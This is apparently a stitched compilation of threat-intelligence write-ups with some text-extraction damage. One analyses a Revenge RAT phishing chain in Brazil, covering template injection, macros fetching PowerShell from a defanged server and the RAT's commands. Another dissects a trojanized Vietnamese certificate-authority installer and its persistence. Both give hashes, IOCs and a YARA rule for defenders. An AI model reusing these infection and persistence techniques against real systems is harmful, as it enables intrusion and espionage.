8141F47A1EE8453AC01DAACB16CAB2D18B37A9045EDC5F20C9019D4327576704
A428716A6891C67CD70DD17769158060298B431F06A483A1E34D58D71F2B34DB
This is an analysis of part of the network of Russian organized crime hacking groups is
written by Threat Intelligence Lead Mattias W
Mattias W
s task is to lead and further develop Truesec
s Threat Intelligence
capabilities for anticipating data breaches and averting threats. The goal is to map all major
actors threatening Swedish and global interests and monitor their activities. Read more.
Cybersecurity, Threat Intelligence
14/14
Revenge RAT Targeting Users in South America
uptycs.com/blog/revenge-rat-targeting-users-in-south-america
Abhijit Mohanta
The Uptycs threat research team recently came across multiple document samples that
download Revenge RAT. The campaign currently seems to be active in Brazil. All of the
malware samples we received have the same properties. One of the samples we received
has the name
Rooming List Reservas para 3 Familias.docx
(SHA-256:
91611ac2268d9bf7b7cb2e71976c630f6b4bfdbb68774420bf01fd1493ed28c7). The
document has only a few detections in VirusTotal.
Figure 1: VirusTotal detections for the document. (Image via VirusTotal.)
Upon opening the document, a series of events happen that lead to the download of
Revenge RAT malware hosted on a Brazilian website (hxxp://azulviagens[.]online). Azul
Viagens is a legitimate hotel chain in Brazil and the official website of the hotel can be found
here.
Attackers registered the fake domain name and used a room reservation document file to
infect the end user. The attack is multi-stage with the components used in the attack spread
across multiple files on the attacker
s server. The WHOIS records for
hxxp://azulviagens[.]online seems to have been registered on December 10, 2020 with the
email ID [email protected].
The Attack Flow
The components of the attack span multiple stages. Figure 2 (below) shows the steps
involved in the attack.
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Figure 2: The attack flow.
Step 1: The DOCX file (
Rooming List Reservas para 3 Familias.docx
) used in the
attack vector downloads the
1.docx
(template) from the CnC server
Steps 2 and 3: The embedded
Microsoft_Excel_Macro-Enabled_Worsksheet1.xlsm
file in "1.docx" (template) downloads the PowerShell code
A.txt
from the CnC server
and executes it in memory.
Step 4: The PowerShell code in
A.txt
downloads
index.mp3
from the CnC server
and saves it as
index.vbs.
Step 5: Upon execution,
index.vbs
creates
opera.vbs,
which contains code to
execute
opera.ps1
created in the next step.
Step 6:
index.vbs
downloads
1.txt
and saves it as
opera.ps1,
which has
obfuscated Revenge RAT in it.
Step 7:
opera.vbs
executes
opera.ps1.
A detailed analysis of files used during various stages of the attack is provided below.
The Initial Document
The initial document,
Rooming List Reservas para 3 Familias.docx,
used as the attack
vector is a DOCX file. The document uses a technique known as Dynamic Office Template
Injection to bypass security products. This allows the attacker to store the malicious file on a
remote server. This technique can evade anti-malware solutions that rely on static detection.
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The document has the structure shown in Figure 3 (below). The structure contains a file
named
footer.xml.rels.
The
target
fields in the file point to the templates hosted on the
CnC server. There are several URLs in the
target
fields that point to files
1.docx
all the
way to
9.docx
hosted on the CnC server. Each of the files has the same content (the same
SHA-256: 338b2d8d76f4028bfbd177127371b2509971606553d606c534316dc40cfa8fb9).
Figure 3: Structure of the DOCX and footer.xml.res pointing to the malicious template. (Click
to see larger version.)
When the victim opens the document, one of the templates is downloaded and executed.
The Template File
The template file("1.docx" ... "9x.docx") follows the structure shown in Figure 4 (below). The
settings.xml in the structure have the
target
fields that point to XLSM files, which are
present in the
embeddings'' directory in the structure of the DOCX file.
The XLSM files
Microsoft_Excel_Macro-Enabled_Worksheet.xlsm
Microsoft_Excel_Macro-Enabled_Worksheet9.xlsm
have the same contents (same SHA256: 32f1a502126b1932e1def04b98d8be235c8d25ef7268f8cb35d460cd073a88b2). When
the template file ("1.docx" ... "9x.docx") is executed by Microsoft Word, it executes one of the
XLSM files (
Microsoft_Excel_Macro-Enabled_Worksheet.xlsm
to
Microsoft_Excel_MacroEnabled_Worksheet9.xlsm
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Figure 4: XLSM files inside the 1.docx template. (Click to see larger version.)
The XLSM File
The XLSM file follows the structure shown in Figure 5 (below). The structure contains
macros in the
VBAProject.bin
file. The following screenshot shows the stream containing
the macros.
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Figure 5: Macros in XLSM.
There are two important macros present in the BIN file:
Macro 1
kills the Microsoft Word
process
winword.exe
and
Macro 2
downloads and executes the PowerShell code present
at the URL
hxxp://azulviagens[.]online/A.txt
in memory.
Figure 6 (below) shows the contents of
A.txt.
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Figure 6: PowerShell script in hxxp://azulviagens[.]online/A.txt.
When the PowerShell code in
A.txt
is executed, it downloads the contents of
index.mp3
and saves it to file the
index.vbs
and executes it.
Index.vbs
Figure 7 (below) shows the code in
index.vbs.
When
index.vbs
is executed it creates
another two files,
opera.vbs
and
opera.ps1
in the
C:\Users\Public\
directory.
Index.vbs
downloads the contents of hxxp://azulviagens[.]online/1.txt and saves it to
opera.ps1.
The
index.vbs
file places the following command in
opera.vbs
l.exe -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Opera.ps1
The command is then executed. When executed,
opera.vbs
executes the file
opera.ps1."
Figure 7: Code in index.mp3 (index.vbs). (Click to see larger version.)
Opera.ps1
Opera.ps1
is a highly obfuscated PowerShell script (see Figure 8, below). One thing that
catches our eye is the string
4D 5A,
which indicates the magic header of a Windows
executable.
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Figure 8: 4D5A in opera.ps1.
After de-obfuscating the PowerShell code, we were able to retrieve the Windows executable,
which is the Revenge RAT. Below is the description of the Revenge RAT we extracted.
Similar PowerShell code was also found hosted on x-root.net, which has also been
registered in recent months. Uptycs
EDR capabilities can decode the obfuscated
PowerShell code, as shown in the screenshot below (Figure 9).
Figure 9: Deobfuscated PowerShell code. (Click to see larger version.)
The Revenge RAT
Revenge RAT was first seen mid-2016. The RAT has been coded in .NET. The Revenge
RAT we extracted is not a packed binary and code is clearly visible. Below is a description of
the various classes and methods present in the decompiled code.
Program
The
Program
class shown in Figure 10 (below) contains the main function of the program.
The main() function creates a mutex and then executes the rest of the code.
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Figure 10: Program class. (Click to see larger version.)
RAT Configuration
Figure 11 (below) contains the configuration for the RAT, which is used during execution.
Figure 11: RAT configuration.
Below are some members of the config class and their functionality:
host: CnC server
port: CnC port
id: Unique identity of the installed RAT on the victim machine
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currentMutex: Mutex placed by the RAT on the system
stopwatch(): This is a member function that can be use to reset the stopwatch
IdGenerator
The class IdGenerator shown in Figure 12 (below) is used for creating a unique ID for the
victim machine, which the RAT is going to send to the CnC server. A unique string ID is
generated by retrieving various system attributes using the methods in the class. Below are
some of the methods:
GetActiveWindow: Get active window or window of the application used by the user
GetAV: Get the antiviruses installed on the system
GetCamera: Get information about the camera
GetCpu: Get CPU information
GetHardDiskSerialNumber: Get hard disk serial number
GetIp: Get IP address
GetSystem: Get processor information
SendInfo: Concatenate information collected by previous methods into a string
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Figure 12: Components of the IdGenerator class. (Click to see larger version.)
Client
The client class implements the network client of the RAT. It has the following methods:
Ping: Pings the CnC server
TCPReceive: Received data to the server
TCPSend: Send data to the server
Handler
The Handler class shown in Figure 13 (below) is used to process the CnC command
received from the attacker.
Figure 13: CnC commands. (Click to see larger version.)
Below is the list of commands:
PNC: Reset the stopwatch
P: Send the active windows to the CnC
IE: Check for installed plugins
LP: Invoke plugin
UNV: ninstall, restart the RAT
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Variants of Revenge RAT are known to have many other capabilities as listed below:
Screen capture
Keylogging
Video capture
Credential dumping
Audio capture
Uptycs EDR Detections
The following images show Uptycs EDR detection for the threat.
Figure 14: Uptycs EDR detections. (Click to see larger version.)
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Figure 15: Process graph in Uptycs EDR. (Click to see larger version.)
Figure 16: Process graph continued. (Click to see larger version.)
Indicators of Compromise
Below is the list of IOCs seen in the Revenge RAT attack.
Hashes
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Initial attack document
91611ac2268d9bf7b7cb2e71976c630f6b4bfdbb68774420bf01fd1493ed28c7
Initial attack document
77d6651de47bff4c24fc26fa018ea648b0e14e276e8240fae6b1724b8638c46a
1.docx(template)
338b2d8d76f4028bfbd177127371b2509971606553d606c534316dc40cfa8fb9
Microsoft_Excel_Macro-Enabled_Worksheet.xlsm
32f1a502126b1932e1def04b98d8be235c8d25ef7268f8cb35d460cd073a88b2
A.txt
4b65e5785692950f8100b22f2827d65ba93e99dd717eb444af035e96fcd84763
opera.ps1
03f5ff9b6a6b24f76799cc15fe3f1fbf1ca9d6dda30a4154125ed5dd5834290c
Revenge RAT
73f113a6146224c4a1f92f89055922a28322787c108e30000a0a420fa46ed9e2
URLs
hxxp://azulviagens[.]online
Cdtpitbull[.]hopto[.]org
YARA Rule
rule upt_Revenge_RAT {
meta:
description="Revenge-RAT"
sha256="73f113a6146224c4a1f92f89055922a28322787c108e30000a0a420fa46ed9e2"
author = "abhijit mohanta"
date = "20 Dec 2020"
strings:
$upt_Revenge_RAT0 = "Revenge-RAT" ascii wide nocase
$upt_Revenge_RAT1 = "mscoree.dll" ascii wide nocase
$upt_Revenge_RAT2 = "REVEGERRRRR.exe" ascii wide nocase
$upt_Revenge_RAT3 = "keepAlivePing!" ascii wide nocase
$upt_Revenge_RAT4 = "AntiVirusProduct" ascii wide nocase
$upt_Revenge_RAT5 = "FirewallProduct" ascii wide nocase
condition:
all of ($upt_Revenge_RAT*)
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14/14
[RE018-1] Analyzing new malware of China Panda hacker
group used to attack supply chain against Vietnam
Government Certification Authority - Part 1
blog.vincss.net/2020/12/re018-1-analyzing-new-malware-of-china-panda-hacker-group-used-to-attack-supply-chainagainst-vietnam-government-certification-authority.html
I. Introduction
In process of monitoring and analyzing malware samples, we discovered an interesting blog
post of NTT here. Following the sample hash in this report, we noticed a hash on VirusTotal:
Figure 1. Hash
s information in the NTT blog
On the event that a hacker group believed to be from Russia attacked and exploited the
software supply chain to target a series of major US agencies, along with discovery that the
keyword eToken.exe belongs to the software that is quite popularly used in agencies,
organizations and businesses in Vietnam, we have used eToken.exe and SafeNet as
keywords for searching on VirusTotal and Google. As a result, we uncovered information
about two remarkable installation files (1, 2) that have been uploaded to VirusTotal since
August 2020:
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Figure 2. Information look up on VirusTotal
The name of the installation files are quite familiar: gca01-client-v2-x32-8.3.msi and gca01client-v2-x64-8.3.msi, We have tried to download these two files from the website and they
have the same hash value. However, at the present time, all files on the VGCA homepage
have been removed and replaced with the official clean version. According to the initial
assessment, we consider this could be an attack campaign aimed at the software supply
chain that can be leveraged to target important agencies, organizations and businesses in
Vietnam.
On December 17th, ESET announced a discovery of an attack on APT they called "Operation
SignSight" against the Vietnam Government Certification Authority (VGCA). In that report,
ESET said they have also notified VNCERT and VGCA and VGCA has confirmed that they
were aware of the attack before and notified the users who downloaded the trojanized
software.
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At the time of analysis, we have obtained two setup files that have been tampered by
hackers. This blog post series will focus on analyzing the signatures and techniques that
hackers have applied to malicious samples in these two installation files.
II. Analyze installation file
This application is named as "SafeNet Authentication Clients" from SafeNet .Inc company.
Portable Executable (PE) files are mostly signed with SafeNet certificates.
Figure 3. PE files signed with SafeNet certificate
By using UniExtract tool, we extracted the entire file from an installer (x64 setup file). The
total number of files is 218 files, 68 subfolders, the total size is 75.1 MB (78,778,368 bytes).
To find out which file has been implanted by hackers, we only focus on analyzing and
identifying unsigned PE files.
With the help of sigcheck tool in Micorsoft's SysInternals Suite, with the test parameters is
signed, hash, scan all PE files, scan the hash on VirusTotal, the output is csv file. Then
sorting by unsigned file, resulting from VirusTotal, we discovered that eToken.exe is the file
was implanted by the hacker.
Figure 4. Discovered file was implanted by hacker
The hash of this eToken.exe matches with the one in NTTSecurity's report. Another strange
point is that it
s a 32bit PE but located in the x64 directory, the version information such as
Company, Description, Product
are not valid for such a large company application. Here
is the scan result of the eToken file on VirusTotal.
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Since this application is built with Visual C ++ of Visual Studio 2005 which is old version, and
uses the Qt4 library, some of the dll files of this installer are also unsigned. We checked each
file and determined that the files were clean, leaving only three suspicious files:
RegistereToken.exe, eTOKCSP.dll and eTOKCSP64.dll.
So eToken.exe file is a malware that hackers have added to the installation of the software
suite. To find out how eToken.exe is executed, we analyze the installation file: msi file
(Microsoft Windows Installer file): gca01-client-v2-x64-8.3.msi
Extracting the msi file to raw format before installing, we obtained two .cab files (Microsoft
Cabinet file): Data1.cab and Cabs.w1.cab. This is anomaly because a normal msi file has
only one main .cab file. Check the Data1.cab file and the MSI log text file, eToken.exe and
RegistereToken.exe are in Data1.cab file. And both .exe files have no GUID ID info:
Figure 5. Exe files do not have a GUID ID info
Continue checking the features: DriverFeature, and two files eToken.exe and
RegistereToken.exe msi file with Microsoft's Orca tool (a specialized tool for analyze and
modify msi files). Through a search, the hacker has added a custom action: RegisterToken
(without "e" before Token) to the msi file and added that CustomAction at the end of
InstallExecuteSequence. RegistereToken.exe will be called with the parameter is
eToken.exe:
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Figure 6. Hacker implanted a custom action
Analyzing the RegistereToken.exe file, we see that this file was built on "Wednesday,
22.07.2020 07:40:31 UTC", ie 07/22/2020, 2h40m31s PM GMT +7, PE64, using VC ++
2013:
Figure 7. Information of the RegistereToken.exe file
RegistereToken.exe's pseudo code only calls the WinExec API to execute the passed in
argument:
Figure 8. Tasks of RegistereToken.exe
With all the information above and based on the timestamp in the Data1.cab and
RegistereToken.exe files, we can conclude:
Hacker has created and modified the .msi file and created the Data1.cab file at
timestamp: 07/20/2020 - 15:15 UTC time, added the eToken.exe file at this time.
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Build RegistereToken.exe file at timestamp: 22/07/2020 - 07:40 UTC
Add RegistereToken.exe file to Data1.cab at timestamp: 22/07/2020 - 08:40 UTC
Note: According to Cab file format, the two Date and Time fields of a file in the cab file are
DOS Datetime format, each of which is a Word 2 bytes which reflect the time when the file
was added according to DOS time. Cab file processing programs will convert and display in
UTC time. That is, the above UTC times are the current time on the hacker machine. See
more here.
Figure 9. MS DOS Datetime Information
III. Analyze eToken.exe
1. Analyze PE Structure
File eToken.exe:
Size: 192 KB (196,608 bytes)
MD5: 830DD354A31EF40856978616F35BD6B7
SHA256:
97A5FE1D2174E9D34CEE8C1D6751BF01F99D8F40B1AE0BCE205B8F2F0483225C
Information about compiler, RichID and build timestamp:
Build with VC ++ 6 of Microsoft Visual Studio, Service Pack 6.
Build at: 26/04/2020 - 15:12:58 UTC
Checksum is correct, file has not been modified PE Header.
Linking with MFC42.dll library, Microsoft Foundation Class v4.2 library of Microsoft, is a
library supporting GUI programming on Windows, always included in Visual Studio
suite.
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Link with a special library: dbghelp.dll. Use the MakeSureDirectoryPathExist API
function. See more here.
Checking the resource section of the file, we determined that this is a Dialog application,
created by MFC Wizard of Visual Studio 6. The project name is VVSup, which means the
.exe file when built out would be VVSup.exe.
Figure 10. File's resource information
2. Static code analysis
eToken.exe (VVSup.exe) is built with dynamic link DLL mode with MFC42.dll, so the .exe
file will be small and the functions of the MFC42 libirary will be easily identified via the name
import of the DLL. The name mangling rule of Microsoft VC ++ compiler reflects the class
name, function name, parameter name, call type... of functions. IDA helps us to define the
functions import by ordinal of MFC42.dll using the file mfc42.ids and mfc42.idt included
with IDA.
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However, VVSup is built with the RTTI (Runtime Type Information) option is disabled, so
there is no information about the RTTI and Virtual Method Table of all classes in the file. We
only have RTTI of class type_info, the root class of RTTI.
Figure 11. RTTI Info of type_info class
The analysis will show how to define classes, recreate the code of this malware, and share
experience in applying when analyzing malwares/files using MFC.
Plugins used:
Simabus
s ClassInformer
Matrosov
s HexRaysCodeXplorer
MFC_Helper
The MFC C++ source code can be found in the src\mfc directory of the Visual Studio
installer. Since MFC4.2 (MFC of VS6) is very old, it can be found on Github. We refer here.
About the relationship chart of the classes of MFC (Hierarchy Chart), you can see at this link.
Three important dlls file to diffing/compare with MFC malware, for example in this sample
eToken, are mfc42.dll, mfc42d.dll, mfco42d.dll. You can find and download the correct
debug symbol file (.pdb) of the dlls you have. The most important one is mfc42d.dll (debug
build), since its .pdb will contain full information about the types, enumes, classes, and
vtables of the MFC classes. We export local types from mfc42d.dll to .h file, then import into
our idb database. IDA's Parse C ++ has an error, unable to parse the "<>" template syntax,
so we find and replace pairs of "<" and ">" to "_" in .h files.
Parallel opening mfc42d.dll in new IDA together with IDA is parsing malware, copy names,
types of classes, functions from mfc42d.dll. As mentioned, this malware is an MFC Dialog
application, so we will definitely have the following classes in the malware: CObject,
CCmdTarget, CWinThread, CWnd, CDialog. According to the MFC Wizard's auto-naming
rule, we have classes with the following names: CVVSupApp (inherited from CWinApp),
CAboutDlg (dialog About, resID = 100), CVVSupDlg (main dialog, resID = 102).
Scan results of vtables, classes of two plugins ClassInformer and HexRaysCodeXplorer.
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Figure 12. Scanning vtables, classes result
Use MFC_Helper scan CRuntimeClass, as expected, CVVSupDlg has CRuntimeClass
and add another class: CVVSupDlgAutoProxy. It shows that the hacker when running the
MFC Wizard, clicked to select support OLE Control.
Figure 13. Detect classe after run MFC_Helper
Based on the import function CWinApp::GetRuntimeClass, we can determine CVVSupApp
vtable, and based on CDialog::GetRuntimeClass we can define two vtables of the other
two dialogs. But which dialog is About, which dialog is a malware dialog? Identify all the
internal structures of MFX such as AFX_MSGMAP, AFX_DISPMAP,
AFX_INTERFACEMAP...
Using the Xref to feature call the CDialog constructor: void __thiscall CDialog::CDialog
(CDialog *this, unsigned int nIDTemplate, CWnd *pParentWnd), nIDTemplate is the
resID of the dialog, we define the vtable of CAboutDlg and CMalwareDlg. Because
CMalwareDlg does not have CRuntimeClass and RTTI, so it is temporarily named like that.
The hacker deleted the DECLARE_DYNAMIC_CREATE line of these two classes and the
CVVSupApp class when build.
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Figure 14. Identify vtable of CAboutDlg and CMalwareDlg
Relational Classes table of this malware:
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Figure 15. Relational classes table of this malware
Copy the names of functions, types, function types, parameters ... from the respective parent
classes of the above classes, in the correct order in the vtable, identify the generated MFC
Wizard functions and the functions the hacker wrote.
Figure 16. Result after copy name of functions, types, function types, parameters
Every MFC application has a global variable called theApp, belonging to the main class
CXXXApp inheriting from CWinApp. In the case of this malware are: CVVSupApp theApp;
This global variable is initialized by C RTL in the start function, called before main/WinMain,
in table __xc_a. The functions in this table call after the C RTL constructors in __xi_a. These
tables are the parameters passed to the internal _initterm function of C RTL.
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Figure 17. TheApp global variable in the MFC application
The flowchart of creating and executing an MFC application is as follows:
Figure 18. Flowchart of creating and executing an MFC application
The CVVSupApp :: InitInstance function is also a common code generated by MFC wizard
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Figure 19. CVVSupApp::InitInstance function
Constructor of CVVSupDlg: void CVVSupDlg::CVVSupDlg() is also common code
generated by MFC Wizard. But in CVVSupDlg::OnInitDialog, which is called from
CVVSupDlg::DoModal(), we can see immediately, at the end of the code that the MFC
Wizard generated, CMalwareDlg is initialized and shown, then the malware exits forcibly
exit (0).
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Figure 20. CMalwareDlg was created and shown
The value 129 is the resID of the CMalwareDlg dialog, and sizeof(CMalwareDlg) = 0x290,
which is larger than the size of the parent CDialog. It proves that CMalwareDlg was added
by hackers to some data members. Through analysis, we recreated the data members of
CMalwareDlg:
Figure 21. Recreate data members of CMalwareDlg
The CMalwareDlg::CMalwareDlg Constructor does the following initialization jobs. Note the
copy string "192.168" into the field m_szMask:
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Figure 22. Copy "192.168" string to m_szMask field
When shown, CMalwareDlg::OnInitDialog will be called, and the main function that is
important for doing the malware's task is called here:
Figure 23. The Infect main function will do the malware's job
The Infect (we named) function is relatively long, so it should be presented via the flowchart
below:
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Figure 24. Infect function flowchart
We'll go into detail each of the important child functions called by the Infect function of the
CMalwareDlg class. The UserIsAdmin function, using the IsUserAdmin() API of
shell32.dll:
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Figure 25. UserIsAdmin fuction
GetSomeAPIAddrs function is a redundant function, function pointers are taken but
completely unused. We guess this could be an old code.
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Figure 26. GetSomeAPIAddrs function
The Base64Decode function is like other Base64 decode functions, except that the Base64
code table is copied by the hacker to a char arrary m_szBase64Table and accessed from
here. After being decoded Base64, the original ServiceName
"TmV0QmlvcyBNZXNzYWdlciBSZWdpc3Rlcg==" will be "NetBios Messager Register".
The original ServiceDescription
"TmV0QmlvcyBjb21tdW5pY2F0aW9uIGJldHdlZW4gc3lzdGVtIGNvbXBvbmVudHMu"
would be "NetBios communication between system components."
The ExtractCabFile function is a global function, not part of the CMalwareDlg class. Note
that the file is created with the attribute hidden.
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Figure 27. ExtractCabFile function
The .cab file is completely embedded in the .data section, size = 94874 (0x1729A). Hackers
declared the following equivalent: "static BYTE g_abCabFile[] = {0xXXXX, 0xYYYY};" (no
const, so it will be located in .data section). Extracting that area, we have a .cab file
containing a file, named smanager_ssl.dll, the date added to the cab is 04/26/2020 - 23:11
UTC, build date 26.04.2020 15:11:24 UTC.
Figure 28. The embedded .cab file contains the file smanager_ssl.dll
The smanager_ssl.dll file (netapi32.dll) will be analyzed in the next post because it is
relatively complex.
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Figure 29. RunExtrac32Exe function
The ExecuteAndWait function is also a global function, using the ShellExecuteExA API to
call and wait until the execution completes.
Figure 30. ExecuteAndWait function
The Config of the Proxy on the victim machine is defined by the hacker through a struct as
shown, PROXY_TYPE is an enum:
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Figure 31. struct PROXY_CONFIG
The ReadProxyConfig function will read from the victim's registry first, otherwise it will read
from the Firefox pref.js file. We are still not clear why hackers tried to read from Firefox,
maybe they did a reconnaisance to learn about the commonly used web browsers at the
target.
Figure 32. ReadProxyConfig function
The ReadProxyConfigFromRegistry function is a bit long so there are only important parts:
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Figure 33. The main job of the ReadProxyConfigFromRegistry function
The ReadProxyConfigFromFireFox function is very long so we won't cover it in detail here.
The UpdateFile function uses the memsearh equivalent function to find a string in the file's
content, and C&C Info will be written at the found location. In the case of this malware, the
mask string is "192.168".
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Figure 34: The UpdateFile function uses the memsearh equivalent function to find a string
We recreated the C&C Info struct as follows:
Figure 35. struct of C&C info
And C&C info has been hardcoded by hackers in the code:
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Figure 36. C&C information is hardcoded in the malicious code
The content of smanager_ssl.dll* (netapi32.dll**) is original and after being updated from
g_CCInfo structure via:
Figure 37. Contents of smanager_ssl.dll file (netapi32.dll) before and after being updated
The function to load the extracted file and create the Scheduler Task:
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Figure 38. Function LoadDllAndCreateSchedulerTask to load the extracted file and create a Scheduler
Task
Then, if the malware is run with admin, it will register as a ServiceDll, with the name
mentioned above, the Service registry key chosen at random from a table of ten elements,
and appended "Ex". These series include: "Winmads", "Winrs", "Vsssvr", "PlugSvr",
"WaRpc", "GuiSvr", "WlanSvr", "DisSvr", "MediaSvr", "NvdiaSvr".
After appending Ex by the sprintf function, the registry key on the victim machine is created
under the branch HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost will
be one of the following strings:
WinmadsEx
WinrsEx
VsssvrEx
PlugSvrEx
WaRpcEx
GuiSvrEx
WlanSvrEx
DisSvrEx
MediaSvrEx
NvdiaSvrEx
Since the function is also a bit long, only the main points are covered here:
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Figure 39. Create a registry key on a victim machine
Figure 40. Create service on victim machine
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The RegistryCall function is a self-written function by hacker, it is a global function, also only
doing tasks with the Registry. From our point of view, hackers' programming styles are
extremely messy and inconsistent (maybe this is how they intentionally confusing), which
made it difficult for us to analyze. After registering as a Dll service, the Infect function
completes and returns. Malware will exit because of the above call to exit(0) on
OnInitDialog
We will provide .xml file containing analysis information on IDA so anyone interested in this
malware can use it to re-import IDA and Ghidra using Ghidra's plugin xml_importer.py.
The IOCs of the malicious code have been noted in the article. You can write your own .bat
file or script using PowerShell, VBS ... to find and remove this malware on the victim's
computers.
Note:
Original smanager_ssl.dll
MD5: C11E25278417F985CC968C1E361A0FB0
SHA256:
F659B269FBE4128588F7A2FA4D6022CC74E508D28EEE05C5AFF26CC23B7BD1A5
netapi32.dll (ie smanager_ssl.dll has updated CCInfo):
MD5: 43CE409C21CAD2EF41C9E1725CA12CEA
SHA256:
6C1DB6C3D32C921858A4272E8CC7D78280B46BAD20A1DE23833CBE2956EEBF75
Click here for Vietnamese version: Part 1, Part 2
ng Qu
c Ng
n (aka HTC)
Malware Analysis Expert - VinCSS (a member of Vingroup)
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